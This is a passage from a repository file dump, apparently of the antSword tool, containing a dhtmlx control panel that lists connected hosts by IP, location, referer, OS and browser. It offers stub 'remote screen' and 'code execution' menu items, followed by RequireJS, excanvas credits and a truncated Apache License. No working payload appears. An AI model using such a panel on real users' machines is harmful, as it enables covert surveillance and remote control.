},\n    // 格式化时间\n    formaTime: function(tm) {\n        var _tm = new Date(tm);\n        return _tm.toLocaleDateString() + ' ' + _tm.toLocaleTimeString();\n    },\n    getPath: function(p) {\n        return './static/js/host/data/' + p;\n    },\n    init: function(layout) {\n        // 初始化cell\n        var self = this;\n        var cell_host_list = layout.cells('a');\n        var windows = new dhtmlXWindows();\n        cell_host_list.setText('主机列表');\n        // 隐藏header\n        cell_host_list.hideHeader();\n        // 加载中\n        cell_host_list.progressOn();\n        // 底部分页栏\n        cell_host_list.attachStatusBar({\n            height: {dhx_skyblue:30, dhx_web: 31, dhx_terrace: 40}['dhx_skyblue'],\n            text: \"<div id='cell_host_paging'></div>\"\n        });\n\n        // 初始化grid\n        var grid_host = cell_host_list.attachGrid();\n        // grid_host.setIconsPath(dhtmlx.image_path);\n        grid_host.setHeader([\n            \"<i class='fa fa-laptop'></i> IP地址\",\n            \"<i class='fa fa-globe'></i> 地理位置\",\n            \"<i class='fa fa-link'></i> 来源地址\",\n            \"<i class='fa fa-windows'></i> 系统信息\",\n            \"<i class='fa fa-leaf'></i> 浏览器信息\",\n            \"<i class='fa fa-sitemap'></i> 连接状态\",\n            \"<i class='fa fa-clock-o'></i> 连接时间\",\n            \"<i class='fa fa-clock-o'></i> 断开时间\"\n        ]);\n        grid_host.setColTypes(\"ro,ro,ro,ro,ro,ro,ro,ro\");\n        // 多行选择\n        grid_host.enableMultiselect(true);\n        // tree grid\n        grid_host.setColTypes(\"tree,txt,txt,txt,txt,txt,txt,txt\");\n\n        grid_host.setColSorting('str,str,str,str,str,str,str,str');\n        grid_host.setInitWidths('160,200,*,150,150,100,150,150');\n        \n        // 右键菜单\n        var context_menu = new dhtmlXMenuObject();\n        // context_menu.setIconsPath('./codebase/imgs/');\n        context_menu.renderAsContextMenu();\n        context_menu.loadStruct([\n            {\n                \"id\": \"del\",\n                \"text\": \"<i class='fa fa-trash'></i> 删除选中\"\n            }, {\n                \"type\": \"separator\"\n            }, {\n                \"id\": \"vist\",\n                \"enabled\": false,\n                \"text\": \"<i class='fa fa-external-link'></i> 访问来源\"\n            }, {\n                \"type\": \"separator\"\n            }, {\n                \"id\": \"plugin\",\n                \"text\": \"<i class='fa fa-puzzle-piece'></i> 加载插件\",\n                \"items\": [\n                    {\n                        \"id\": \"screen\",\n                        \"text\": \"远程屏幕\"\n                    }, {\n                        \"type\": \"separator\"\n                    }, {\n                        \"id\": \"eval\",\n                        \"text\": \"代码执行\"\n                    }\n                ]\n            }\n        ]);\n        // 右鍵菜單點擊事件\n        context_menu.attachEvent('onClick', function(id, zoneId, cas) {\n            if (id == 'screen') {\n                var window_screen = windows.createWindow('window_screen' + (+new Date), 0, 0, 600, 400);\n                window_screen.attachURL('/static/js/');\n\n                window_screen.setText('测试窗口');\n                window_screen.centerOnScreen();\n                window_screen.button('minmax').show();\n                window_screen.button('minmax').enable();\n            };\n        })\n        // context_menu.loadStruct(this.getPath('host_menu.json'));\n        grid_host.enableContextMenu(context_menu);\n\n\n        grid_host.init();\n        // 加载json数据\n        // grid_host.load(this.getPath('test.json'), null, 'json');\n        // grid_host.load(\n        //     // 'http://localhost:4000/1000',\n        //     this.getPath('test.json'),\n        //     function() {\n        //         cell_host_list.progressOff();\n        //     },\n        //     'json'\n        // );\n        $.getJSON('http://localhost:4000/1000', function(ret) {\n            var data = [];\n            for (var i = 0; i < ret.length; i ++) {\n                _ret = ret[i];\n                _ua = self.parseUA(_ret['ua']);\n                data.push({\n                    \"id\": i + 1,\n                    \"data\": [\n                        '<i class=\"fa fa-laptop\"></i> ' + _ret['ip'],\n                        _ret['addr'],\n                        _ret['referer'],\n                        _ua['os'],\n                        _ua['browser'],\n                        '-',\n                        self.formaTime(_ret['ctime']),\n                        self.formaTime(_ret['utime'])\n                    ]\n                });\n            }\n            grid_host.clearAll();\n            grid_host.parse({\n                \"rows\": data\n            }, 'json');\n            cell_host_list.progressOff();\n        });\n        // 设置工具栏\n        var toolbar_host = cell_host_list.attachToolbar();\n        // toolbar_host.setIconsPath('./static/dhtmlx/samples/dhtmlxToolbar/common/imgs/');\n        toolbar_host.loadStruct(this.getPath('toolbar.json'), 'json', function() {});\n\n        // 设置分页\n        grid_host.enablePaging(true, 200, 5, \"cell_host_paging\", true);\n        grid_host.setPagingSkin(\"toolbar\");\n        // 表格点击事件\n        grid_host.attachEvent(\"onEditCell\", function(stage, id, index){\n\n            // var window_test = windows.createWindow('window_test' + (+new Date), 0, 0, 600, 400);\n            // window_test.attachURL('/static/js/main.js');\n\n            // window_test.setText('测试窗口');\n            // window_test.centerOnScreen();\n            // window_test.button('minmax').show();\n            // window_test.button('minmax').enable();\n\n            return false; \n        })\n        window.GRID = grid_host;\n        // 加载结束\n        // grid_host.attachEvent(\"onDataReady\",function(){\n        //     cell_host_list.progressOff();\n        // })\n    }\n})"
  },
  {
    "path": "antSword/static/libs/dhtmlx/codebase/imgs/dhxgrid_skyblue/tree/Control panel_files/index(1).js",
    "content": "// \n// 项目管理\n// \n\n(function (){\n    var PROJECT = {\n        init: function(tabbar) {\n            tabbar.addTab('tab_project', '<i class=\"fa fa-th-large\"></i> 项目管理');\n            var tab_project = tabbar.cells('tab_project');\n            var layout_2 = tab_project.attachLayout('2U');\n\n            this.category.init(layout_2);\n            this.editor.init(layout_2);\n        }\n    };\n    define(\n        ['./category', './editor'],\n        function (category, editor) {\n            PROJECT.editor = editor;\n            PROJECT.category = category;\n            return PROJECT;\n        }\n    );\n})();"
  },
  {
    "path": "antSword/static/libs/dhtmlx/codebase/imgs/dhxgrid_skyblue/tree/Control panel_files/index(2).js",
    "content": "// \n// 系统设置\n// \n\ndefine({\n    init: function(tabbar) {\n        tabbar.addTab(\n            'tab_setting',\n            '<i class=\"fa fa-cog\"></i> 系统设置'\n        );\n        window.TEST = tabbar.cells('tab_setting');\n    }\n})"
  },
  {
    "path": "antSword/static/libs/dhtmlx/codebase/imgs/dhxgrid_skyblue/tree/Control panel_files/index.js",
    "content": "// \n// 访客/主机管理\n// \n\ndefine(\n    ['./category', './countdata', './logger', './hostdata'],\n    function(category, countdata, logger, hostdata) {\n        return {\n            init: function(tabbar) {\n                tabbar.addTab('tab_host', '<i class=\"fa fa-desktop\"></i> 访客管理');\n                var tab_host = tabbar.cells('tab_host');\n                tab_host.setActive();\n                // layout\n                var layout_host = tab_host.attachLayout('4T');\n                // 主机列表\n                hostdata.init(layout_host);\n                // 分类目录\n                category.init(layout_host);\n                // 统计视图\n                countdata.init(layout_host);\n                // 日志管理\n                logger.init(layout_host);\n            }\n        }\n    }\n);"
  },
  {
    "path": "antSword/static/libs/dhtmlx/codebase/imgs/dhxgrid_skyblue/tree/Control panel_files/logger.js",
    "content": "// \n// 日志管理\n// \n\ndefine({\n    init: function(layout) {\n        var cell_host_log = layout.cells('d');\n        cell_host_log.setHeight('350')\n        cell_host_log.setText('<i class=\"fa fa-info-circle\"></i> 日志管理');\n        // cell_host_log.setWidth('550');\n\n\n        // 日志表格\n\n        var grid_host_log = cell_host_log.attachGrid();\n        // grid_host_log.setIconsPath('./codebase/imgs/');\n        \n        grid_host_log.setHeader([\"时间\",\"类型\",\"内容\"]);\n        grid_host_log.setColTypes(\"ro,ro,ro\");\n        \n        grid_host_log.setColSorting('str,str,str');\n        grid_host_log.setInitWidths('100,100,*');\n        grid_host_log.init();\n        grid_host_log.load('./data/host_log.json', 'json');\n    }\n});"
  },
  {
    "path": "antSword/static/libs/dhtmlx/codebase/imgs/dhxgrid_skyblue/tree/Control panel_files/main.js",
    "content": "$(document).ready(function() {\n    require.config({\n        baseUrl: '/static/js'\n    });\n\n    require(\n        ['host/index', 'project/index', 'setting/index'],\n        function (host, project, setting) {\n            dhtmlx.image_path='static/dhtmlx/codebase/imgs/';\n            var tabbar = new dhtmlXTabBar(document.body);\n\n            host.init(tabbar);\n            project.init(tabbar);\n            setting.init(tabbar);\n        }\n    );\n});"
  },
  {
    "path": "antSword/static/libs/dhtmlx/codebase/imgs/dhxgrid_skyblue/tree/Control panel_files/require.js",
    "content": "/*\n RequireJS 2.1.11 Copyright (c) 2010-2014, The Dojo Foundation All Rights Reserved.\n Available via the MIT or new BSD license.\n see: http://github.com/jrburke/requirejs for details\n*/\nvar requirejs,require,define;\n(function(ca){function G(b){return\"[object Function]\"===M.call(b)}function H(b){return\"[object Array]\"===M.call(b)}function v(b,c){if(b){var d;for(d=0;d<b.length&&(!b[d]||!c(b[d],d,b));d+=1);}}function U(b,c){if(b){var d;for(d=b.length-1;-1<d&&(!b[d]||!c(b[d],d,b));d-=1);}}function s(b,c){return ga.call(b,c)}function j(b,c){return s(b,c)&&b[c]}function B(b,c){for(var d in b)if(s(b,d)&&c(b[d],d))break}function V(b,c,d,g){c&&B(c,function(c,h){if(d||!s(b,h))g&&\"object\"===typeof c&&c&&!H(c)&&!G(c)&&!(c instanceof\nRegExp)?(b[h]||(b[h]={}),V(b[h],c,d,g)):b[h]=c});return b}function t(b,c){return function(){return c.apply(b,arguments)}}function da(b){throw b;}function ea(b){if(!b)return b;var c=ca;v(b.split(\".\"),function(b){c=c[b]});return c}function C(b,c,d,g){c=Error(c+\"\\nhttp://requirejs.org/docs/errors.html#\"+b);c.requireType=b;c.requireModules=g;d&&(c.originalError=d);return c}function ha(b){function c(a,e,b){var f,n,c,d,g,h,i,I=e&&e.split(\"/\");n=I;var m=l.map,k=m&&m[\"*\"];if(a&&\".\"===a.charAt(0))if(e){n=\nI.slice(0,I.length-1);a=a.split(\"/\");e=a.length-1;l.nodeIdCompat&&R.test(a[e])&&(a[e]=a[e].replace(R,\"\"));n=a=n.concat(a);d=n.length;for(e=0;e<d;e++)if(c=n[e],\".\"===c)n.splice(e,1),e-=1;else if(\"..\"===c)if(1===e&&(\"..\"===n[2]||\"..\"===n[0]))break;else 0<e&&(n.splice(e-1,2),e-=2);a=a.join(\"/\")}else 0===a.indexOf(\"./\")&&(a=a.substring(2));if(b&&m&&(I||k)){n=a.split(\"/\");e=n.length;a:for(;0<e;e-=1){d=n.slice(0,e).join(\"/\");if(I)for(c=I.length;0<c;c-=1)if(b=j(m,I.slice(0,c).join(\"/\")))if(b=j(b,d)){f=b;\ng=e;break a}!h&&(k&&j(k,d))&&(h=j(k,d),i=e)}!f&&h&&(f=h,g=i);f&&(n.splice(0,g,f),a=n.join(\"/\"))}return(f=j(l.pkgs,a))?f:a}function d(a){z&&v(document.getElementsByTagName(\"script\"),function(e){if(e.getAttribute(\"data-requiremodule\")===a&&e.getAttribute(\"data-requirecontext\")===i.contextName)return e.parentNode.removeChild(e),!0})}function g(a){var e=j(l.paths,a);if(e&&H(e)&&1<e.length)return e.shift(),i.require.undef(a),i.require([a]),!0}function u(a){var e,b=a?a.indexOf(\"!\"):-1;-1<b&&(e=a.substring(0,\nb),a=a.substring(b+1,a.length));return[e,a]}function m(a,e,b,f){var n,d,g=null,h=e?e.name:null,l=a,m=!0,k=\"\";a||(m=!1,a=\"_@r\"+(M+=1));a=u(a);g=a[0];a=a[1];g&&(g=c(g,h,f),d=j(p,g));a&&(g?k=d&&d.normalize?d.normalize(a,function(a){return c(a,h,f)}):c(a,h,f):(k=c(a,h,f),a=u(k),g=a[0],k=a[1],b=!0,n=i.nameToUrl(k)));b=g&&!d&&!b?\"_unnormalized\"+(Q+=1):\"\";return{prefix:g,name:k,parentMap:e,unnormalized:!!b,url:n,originalName:l,isDefine:m,id:(g?g+\"!\"+k:k)+b}}function q(a){var e=a.id,b=j(k,e);b||(b=k[e]=new i.Module(a));\nreturn b}function r(a,e,b){var f=a.id,n=j(k,f);if(s(p,f)&&(!n||n.defineEmitComplete))\"defined\"===e&&b(p[f]);else if(n=q(a),n.error&&\"error\"===e)b(n.error);else n.on(e,b)}function w(a,e){var b=a.requireModules,f=!1;if(e)e(a);else if(v(b,function(e){if(e=j(k,e))e.error=a,e.events.error&&(f=!0,e.emit(\"error\",a))}),!f)h.onError(a)}function x(){S.length&&(ia.apply(A,[A.length,0].concat(S)),S=[])}function y(a){delete k[a];delete W[a]}function F(a,e,b){var f=a.map.id;a.error?a.emit(\"error\",a.error):(e[f]=\n!0,v(a.depMaps,function(f,c){var d=f.id,g=j(k,d);g&&(!a.depMatched[c]&&!b[d])&&(j(e,d)?(a.defineDep(c,p[d]),a.check()):F(g,e,b))}),b[f]=!0)}function D(){var a,e,b=(a=1E3*l.waitSeconds)&&i.startTime+a<(new Date).getTime(),f=[],c=[],h=!1,k=!0;if(!X){X=!0;B(W,function(a){var i=a.map,m=i.id;if(a.enabled&&(i.isDefine||c.push(a),!a.error))if(!a.inited&&b)g(m)?h=e=!0:(f.push(m),d(m));else if(!a.inited&&(a.fetched&&i.isDefine)&&(h=!0,!i.prefix))return k=!1});if(b&&f.length)return a=C(\"timeout\",\"Load timeout for modules: \"+\nf,null,f),a.contextName=i.contextName,w(a);k&&v(c,function(a){F(a,{},{})});if((!b||e)&&h)if((z||fa)&&!Y)Y=setTimeout(function(){Y=0;D()},50);X=!1}}function E(a){s(p,a[0])||q(m(a[0],null,!0)).init(a[1],a[2])}function K(a){var a=a.currentTarget||a.srcElement,e=i.onScriptLoad;a.detachEvent&&!Z?a.detachEvent(\"onreadystatechange\",e):a.removeEventListener(\"load\",e,!1);e=i.onScriptError;(!a.detachEvent||Z)&&a.removeEventListener(\"error\",e,!1);return{node:a,id:a&&a.getAttribute(\"data-requiremodule\")}}function L(){var a;\nfor(x();A.length;){a=A.shift();if(null===a[0])return w(C(\"mismatch\",\"Mismatched anonymous define() module: \"+a[a.length-1]));E(a)}}var X,$,i,N,Y,l={waitSeconds:7,baseUrl:\"./\",paths:{},bundles:{},pkgs:{},shim:{},config:{}},k={},W={},aa={},A=[],p={},T={},ba={},M=1,Q=1;N={require:function(a){return a.require?a.require:a.require=i.makeRequire(a.map)},exports:function(a){a.usingExports=!0;if(a.map.isDefine)return a.exports?p[a.map.id]=a.exports:a.exports=p[a.map.id]={}},module:function(a){return a.module?\na.module:a.module={id:a.map.id,uri:a.map.url,config:function(){return j(l.config,a.map.id)||{}},exports:a.exports||(a.exports={})}}};$=function(a){this.events=j(aa,a.id)||{};this.map=a;this.shim=j(l.shim,a.id);this.depExports=[];this.depMaps=[];this.depMatched=[];this.pluginMaps={};this.depCount=0};$.prototype={init:function(a,e,b,f){f=f||{};if(!this.inited){this.factory=e;if(b)this.on(\"error\",b);else this.events.error&&(b=t(this,function(a){this.emit(\"error\",a)}));this.depMaps=a&&a.slice(0);this.errback=\nb;this.inited=!0;this.ignore=f.ignore;f.enabled||this.enabled?this.enable():this.check()}},defineDep:function(a,e){this.depMatched[a]||(this.depMatched[a]=!0,this.depCount-=1,this.depExports[a]=e)},fetch:function(){if(!this.fetched){this.fetched=!0;i.startTime=(new Date).getTime();var a=this.map;if(this.shim)i.makeRequire(this.map,{enableBuildCallback:!0})(this.shim.deps||[],t(this,function(){return a.prefix?this.callPlugin():this.load()}));else return a.prefix?this.callPlugin():this.load()}},load:function(){var a=\nthis.map.url;T[a]||(T[a]=!0,i.load(this.map.id,a))},check:function(){if(this.enabled&&!this.enabling){var a,e,b=this.map.id;e=this.depExports;var f=this.exports,c=this.factory;if(this.inited)if(this.error)this.emit(\"error\",this.error);else{if(!this.defining){this.defining=!0;if(1>this.depCount&&!this.defined){if(G(c)){if(this.events.error&&this.map.isDefine||h.onError!==da)try{f=i.execCb(b,c,e,f)}catch(d){a=d}else f=i.execCb(b,c,e,f);this.map.isDefine&&void 0===f&&((e=this.module)?f=e.exports:this.usingExports&&\n(f=this.exports));if(a)return a.requireMap=this.map,a.requireModules=this.map.isDefine?[this.map.id]:null,a.requireType=this.map.isDefine?\"define\":\"require\",w(this.error=a)}else f=c;this.exports=f;if(this.map.isDefine&&!this.ignore&&(p[b]=f,h.onResourceLoad))h.onResourceLoad(i,this.map,this.depMaps);y(b);this.defined=!0}this.defining=!1;this.defined&&!this.defineEmitted&&(this.defineEmitted=!0,this.emit(\"defined\",this.exports),this.defineEmitComplete=!0)}}else this.fetch()}},callPlugin:function(){var a=\nthis.map,b=a.id,d=m(a.prefix);this.depMaps.push(d);r(d,\"defined\",t(this,function(f){var d,g;g=j(ba,this.map.id);var J=this.map.name,u=this.map.parentMap?this.map.parentMap.name:null,p=i.makeRequire(a.parentMap,{enableBuildCallback:!0});if(this.map.unnormalized){if(f.normalize&&(J=f.normalize(J,function(a){return c(a,u,!0)})||\"\"),f=m(a.prefix+\"!\"+J,this.map.parentMap),r(f,\"defined\",t(this,function(a){this.init([],function(){return a},null,{enabled:!0,ignore:!0})})),g=j(k,f.id)){this.depMaps.push(f);\nif(this.events.error)g.on(\"error\",t(this,function(a){this.emit(\"error\",a)}));g.enable()}}else g?(this.map.url=i.nameToUrl(g),this.load()):(d=t(this,function(a){this.init([],function(){return a},null,{enabled:!0})}),d.error=t(this,function(a){this.inited=!0;this.error=a;a.requireModules=[b];B(k,function(a){0===a.map.id.indexOf(b+\"_unnormalized\")&&y(a.map.id)});w(a)}),d.fromText=t(this,function(f,c){var g=a.name,J=m(g),k=O;c&&(f=c);k&&(O=!1);q(J);s(l.config,b)&&(l.config[g]=l.config[b]);try{h.exec(f)}catch(j){return w(C(\"fromtexteval\",\n\"fromText eval for \"+b+\" failed: \"+j,j,[b]))}k&&(O=!0);this.depMaps.push(J);i.completeLoad(g);p([g],d)}),f.load(a.name,p,d,l))}));i.enable(d,this);this.pluginMaps[d.id]=d},enable:function(){W[this.map.id]=this;this.enabling=this.enabled=!0;v(this.depMaps,t(this,function(a,b){var c,f;if(\"string\"===typeof a){a=m(a,this.map.isDefine?this.map:this.map.parentMap,!1,!this.skipMap);this.depMaps[b]=a;if(c=j(N,a.id)){this.depExports[b]=c(this);return}this.depCount+=1;r(a,\"defined\",t(this,function(a){this.defineDep(b,\na);this.check()}));this.errback&&r(a,\"error\",t(this,this.errback))}c=a.id;f=k[c];!s(N,c)&&(f&&!f.enabled)&&i.enable(a,this)}));B(this.pluginMaps,t(this,function(a){var b=j(k,a.id);b&&!b.enabled&&i.enable(a,this)}));this.enabling=!1;this.check()},on:function(a,b){var c=this.events[a];c||(c=this.events[a]=[]);c.push(b)},emit:function(a,b){v(this.events[a],function(a){a(b)});\"error\"===a&&delete this.events[a]}};i={config:l,contextName:b,registry:k,defined:p,urlFetched:T,defQueue:A,Module:$,makeModuleMap:m,\nnextTick:h.nextTick,onError:w,configure:function(a){a.baseUrl&&\"/\"!==a.baseUrl.charAt(a.baseUrl.length-1)&&(a.baseUrl+=\"/\");var b=l.shim,c={paths:!0,bundles:!0,config:!0,map:!0};B(a,function(a,b){c[b]?(l[b]||(l[b]={}),V(l[b],a,!0,!0)):l[b]=a});a.bundles&&B(a.bundles,function(a,b){v(a,function(a){a!==b&&(ba[a]=b)})});a.shim&&(B(a.shim,function(a,c){H(a)&&(a={deps:a});if((a.exports||a.init)&&!a.exportsFn)a.exportsFn=i.makeShimExports(a);b[c]=a}),l.shim=b);a.packages&&v(a.packages,function(a){var b,\na=\"string\"===typeof a?{name:a}:a;b=a.name;a.location&&(l.paths[b]=a.location);l.pkgs[b]=a.name+\"/\"+(a.main||\"main\").replace(ja,\"\").replace(R,\"\")});B(k,function(a,b){!a.inited&&!a.map.unnormalized&&(a.map=m(b))});if(a.deps||a.callback)i.require(a.deps||[],a.callback)},makeShimExports:function(a){return function(){var b;a.init&&(b=a.init.apply(ca,arguments));return b||a.exports&&ea(a.exports)}},makeRequire:function(a,e){function g(f,c,d){var j,l;e.enableBuildCallback&&(c&&G(c))&&(c.__requireJsBuild=\n!0);if(\"string\"===typeof f){if(G(c))return w(C(\"requireargs\",\"Invalid require call\"),d);if(a&&s(N,f))return N[f](k[a.id]);if(h.get)return h.get(i,f,a,g);j=m(f,a,!1,!0);j=j.id;return!s(p,j)?w(C(\"notloaded\",'Module name \"'+j+'\" has not been loaded yet for context: '+b+(a?\"\":\". Use require([])\"))):p[j]}L();i.nextTick(function(){L();l=q(m(null,a));l.skipMap=e.skipMap;l.init(f,c,d,{enabled:!0});D()});return g}e=e||{};V(g,{isBrowser:z,toUrl:function(b){var e,d=b.lastIndexOf(\".\"),g=b.split(\"/\")[0];if(-1!==\nd&&(!(\".\"===g||\"..\"===g)||1<d))e=b.substring(d,b.length),b=b.substring(0,d);return i.nameToUrl(c(b,a&&a.id,!0),e,!0)},defined:function(b){return s(p,m(b,a,!1,!0).id)},specified:function(b){b=m(b,a,!1,!0).id;return s(p,b)||s(k,b)}});a||(g.undef=function(b){x();var c=m(b,a,!0),e=j(k,b);d(b);delete p[b];delete T[c.url];delete aa[b];U(A,function(a,c){a[0]===b&&A.splice(c,1)});e&&(e.events.defined&&(aa[b]=e.events),y(b))});return g},enable:function(a){j(k,a.id)&&q(a).enable()},completeLoad:function(a){var b,\nc,f=j(l.shim,a)||{},d=f.exports;for(x();A.length;){c=A.shift();if(null===c[0]){c[0]=a;if(b)break;b=!0}else c[0]===a&&(b=!0);E(c)}c=j(k,a);if(!b&&!s(p,a)&&c&&!c.inited){if(l.enforceDefine&&(!d||!ea(d)))return g(a)?void 0:w(C(\"nodefine\",\"No define call for \"+a,null,[a]));E([a,f.deps||[],f.exportsFn])}D()},nameToUrl:function(a,b,c){var f,d,g;(f=j(l.pkgs,a))&&(a=f);if(f=j(ba,a))return i.nameToUrl(f,b,c);if(h.jsExtRegExp.test(a))f=a+(b||\"\");else{f=l.paths;a=a.split(\"/\");for(d=a.length;0<d;d-=1)if(g=a.slice(0,\nd).join(\"/\"),g=j(f,g)){H(g)&&(g=g[0]);a.splice(0,d,g);break}f=a.join(\"/\");f+=b||(/^data\\:|\\?/.test(f)||c?\"\":\".js\");f=(\"/\"===f.charAt(0)||f.match(/^[\\w\\+\\.\\-]+:/)?\"\":l.baseUrl)+f}return l.urlArgs?f+((-1===f.indexOf(\"?\")?\"?\":\"&\")+l.urlArgs):f},load:function(a,b){h.load(i,a,b)},execCb:function(a,b,c,d){return b.apply(d,c)},onScriptLoad:function(a){if(\"load\"===a.type||ka.test((a.currentTarget||a.srcElement).readyState))P=null,a=K(a),i.completeLoad(a.id)},onScriptError:function(a){var b=K(a);if(!g(b.id))return w(C(\"scripterror\",\n\"Script error for: \"+b.id,a,[b.id]))}};i.require=i.makeRequire();return i}var h,x,y,D,K,E,P,L,q,Q,la=/(\\/\\*([\\s\\S]*?)\\*\\/|([^:]|^)\\/\\/(.*)$)/mg,ma=/[^.]\\s*require\\s*\\(\\s*[\"']([^'\"\\s]+)[\"']\\s*\\)/g,R=/\\.js$/,ja=/^\\.\\//;x=Object.prototype;var M=x.toString,ga=x.hasOwnProperty,ia=Array.prototype.splice,z=!!(\"undefined\"!==typeof window&&\"undefined\"!==typeof navigator&&window.document),fa=!z&&\"undefined\"!==typeof importScripts,ka=z&&\"PLAYSTATION 3\"===navigator.platform?/^complete$/:/^(complete|loaded)$/,\nZ=\"undefined\"!==typeof opera&&\"[object Opera]\"===opera.toString(),F={},r={},S=[],O=!1;if(\"undefined\"===typeof define){if(\"undefined\"!==typeof requirejs){if(G(requirejs))return;r=requirejs;requirejs=void 0}\"undefined\"!==typeof require&&!G(require)&&(r=require,require=void 0);h=requirejs=function(b,c,d,g){var u,m=\"_\";!H(b)&&\"string\"!==typeof b&&(u=b,H(c)?(b=c,c=d,d=g):b=[]);u&&u.context&&(m=u.context);(g=j(F,m))||(g=F[m]=h.s.newContext(m));u&&g.configure(u);return g.require(b,c,d)};h.config=function(b){return h(b)};\nh.nextTick=\"undefined\"!==typeof setTimeout?function(b){setTimeout(b,4)}:function(b){b()};require||(require=h);h.version=\"2.1.11\";h.jsExtRegExp=/^\\/|:|\\?|\\.js$/;h.isBrowser=z;x=h.s={contexts:F,newContext:ha};h({});v([\"toUrl\",\"undef\",\"defined\",\"specified\"],function(b){h[b]=function(){var c=F._;return c.require[b].apply(c,arguments)}});if(z&&(y=x.head=document.getElementsByTagName(\"head\")[0],D=document.getElementsByTagName(\"base\")[0]))y=x.head=D.parentNode;h.onError=da;h.createNode=function(b){var c=\nb.xhtml?document.createElementNS(\"http://www.w3.org/1999/xhtml\",\"html:script\"):document.createElement(\"script\");c.type=b.scriptType||\"text/javascript\";c.charset=\"utf-8\";c.async=!0;return c};h.load=function(b,c,d){var g=b&&b.config||{};if(z)return g=h.createNode(g,c,d),g.setAttribute(\"data-requirecontext\",b.contextName),g.setAttribute(\"data-requiremodule\",c),g.attachEvent&&!(g.attachEvent.toString&&0>g.attachEvent.toString().indexOf(\"[native code\"))&&!Z?(O=!0,g.attachEvent(\"onreadystatechange\",b.onScriptLoad)):\n(g.addEventListener(\"load\",b.onScriptLoad,!1),g.addEventListener(\"error\",b.onScriptError,!1)),g.src=d,L=g,D?y.insertBefore(g,D):y.appendChild(g),L=null,g;if(fa)try{importScripts(d),b.completeLoad(c)}catch(j){b.onError(C(\"importscripts\",\"importScripts failed for \"+c+\" at \"+d,j,[c]))}};z&&!r.skipDataMain&&U(document.getElementsByTagName(\"script\"),function(b){y||(y=b.parentNode);if(K=b.getAttribute(\"data-main\"))return q=K,r.baseUrl||(E=q.split(\"/\"),q=E.pop(),Q=E.length?E.join(\"/\")+\"/\":\"./\",r.baseUrl=\nQ),q=q.replace(R,\"\"),h.jsExtRegExp.test(q)&&(q=K),r.deps=r.deps?r.deps.concat(q):[q],!0});define=function(b,c,d){var g,h;\"string\"!==typeof b&&(d=c,c=b,b=null);H(c)||(d=c,c=null);!c&&G(d)&&(c=[],d.length&&(d.toString().replace(la,\"\").replace(ma,function(b,d){c.push(d)}),c=(1===d.length?[\"require\"]:[\"require\",\"exports\",\"module\"]).concat(c)));if(O){if(!(g=L))P&&\"interactive\"===P.readyState||U(document.getElementsByTagName(\"script\"),function(b){if(\"interactive\"===b.readyState)return P=b}),g=P;g&&(b||\n(b=g.getAttribute(\"data-requiremodule\")),h=F[g.getAttribute(\"data-requirecontext\")])}(h?h.defQueue:S).push([b,c,d])};define.amd={jQuery:!0};h.exec=function(b){return eval(b)};h(r)}})(this);\n"
  },
  {
    "path": "antSword/static/libs/dhtmlx/codebase/thirdparty/excanvas/AUTHORS",
    "content": "ExplorerCanvas\n\nGoogle Open Source:\n\t<http://code.google.com>\n\t<opensource@google.com> \n\nDevelopers:\n\tEmil A Eklund <emil@eae.net>\n\tErik Arvidsson <erik@eae.net>\n\tGlen Murphy <glen@glenmurphy.com>"
  },
  {
    "path": "antSword/static/libs/dhtmlx/codebase/thirdparty/excanvas/COPYING",
    "content": "\n                                 Apache License\n                           Version 2.0, January 2004\n                        http://www.apache.org/licenses/\n\n   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n   1. Definitions.\n\n      \"License\" shall mean the terms and conditions for use, reproduction,\n      and distribution as defined by Sections 1 through 9 of this document.\n\n      \"Licensor\" shall mean the copyright owner or entity authorized by\n      the copyright owner that is granting the License.\n\n      \"Legal Entity\" shall mean the union of the acting entity and all\n      other entities that control, are controlled by, or are under common\n      control with that entity. For the purposes of this definition,\n      \"control\" means (i) the power, direct or indirect, to cause the\n      direction or management of such entity, whether by contract or\n      otherwise, or (ii) ownership of fifty percent (50%) or more of the\n      outstanding shares, or (iii) beneficial ownership of such entity.\n\n      \"You\" (or \"Your\") shall mean an individual or Legal Entity\n      exercising permissions granted by this License.\n\n      \"Source\" form shall mean the preferred form for making modifications,\n      including but not limited to software source code, documentation\n      source, and configuration files.\n\n      \"Object\" form shall mean any form resulting from mechanical\n      transformation or translation of a Source form, including but\n      not limited to compiled object code, generated documentation,\n      and conversions to other media types.\n\n      \"Work\" shall mean the work of authorship, whether in Source or\n      Object form, made available under the License, as indicated by a\n      copyright notice that is included in or attached to the work\n      (an example is provided in the Appendix below).\n\n      \"Derivative Works\" shall mean any work, whether in Source or Object\n      form, that is based on (or derived from) the Work and for which the\n      editorial revisions, annotations, elaborations, or other modifications\n      represent, as a whole, an original work of authorship. For the purposes\n      of this License, Derivative Works shall not include works that remain\n      separable from, or merely link (or bind by name) to the interfaces of,\n      the Work and Derivative Works thereof.\n\n      \"Contribution\" shall mean any work of authorship, including\n      the original version of the Work and any modifications or additions\n      to that Work or Derivative Works thereof, that is intentionally\n      submitted to Licensor for inclusion in the Work by the copyright owner\n      or by an individual or Legal Entity authorized to submit on behalf of\n      the copyright owner. For the purposes of this definition, \"submitted\"\n      means any form of electronic, verbal, or written communication sent\n      to the Licensor or its representatives, including but not limited to\n      communication on electronic mailing lists, source code control systems,\n      and issue tracking systems that are managed by, or on behalf of, the\n      Licensor for the purpose of discussing and improving the Work, but\n      excluding communication that is conspicuously marked or otherwise\n      designated in writing by the copyright owner as \"Not a Contribution.\"\n\n      \"Contributor\" shall mean Licensor and any individual or Legal Entity\n      on behalf of whom a Contribution has been received by Licensor and\n      subsequently incorporated within the Work.\n\n   2. Grant of Copyright License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      copyright license to reproduce, prepare Derivative Works of,\n      publicly display, publicly perform, sublicense, and distribute the\n      Work and such Derivative Works in Source or Object form.\n\n   3. Grant of Patent License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      (except as stated in this section) patent license to make, have made,\n      use, offer to sell, sell, import, and otherwise transfer the Work,\n      where such license applies only to those patent claims licensable\n      by such Contributor that are necessarily infringed by their\n      Contribution(s) alone or by combination of their Contribution(s)\n      with the Work to which such Contribution(s) was submitted. If You\n      institute patent litigation against any entity (including a\n      cross-claim or counterclaim in a lawsuit) alleging that the Work\n      or a Contribution incorporated within the Work constitutes direct\n      or contributory patent infringement, then any patent licenses\n      granted to You under this License for that Work shall terminate\n     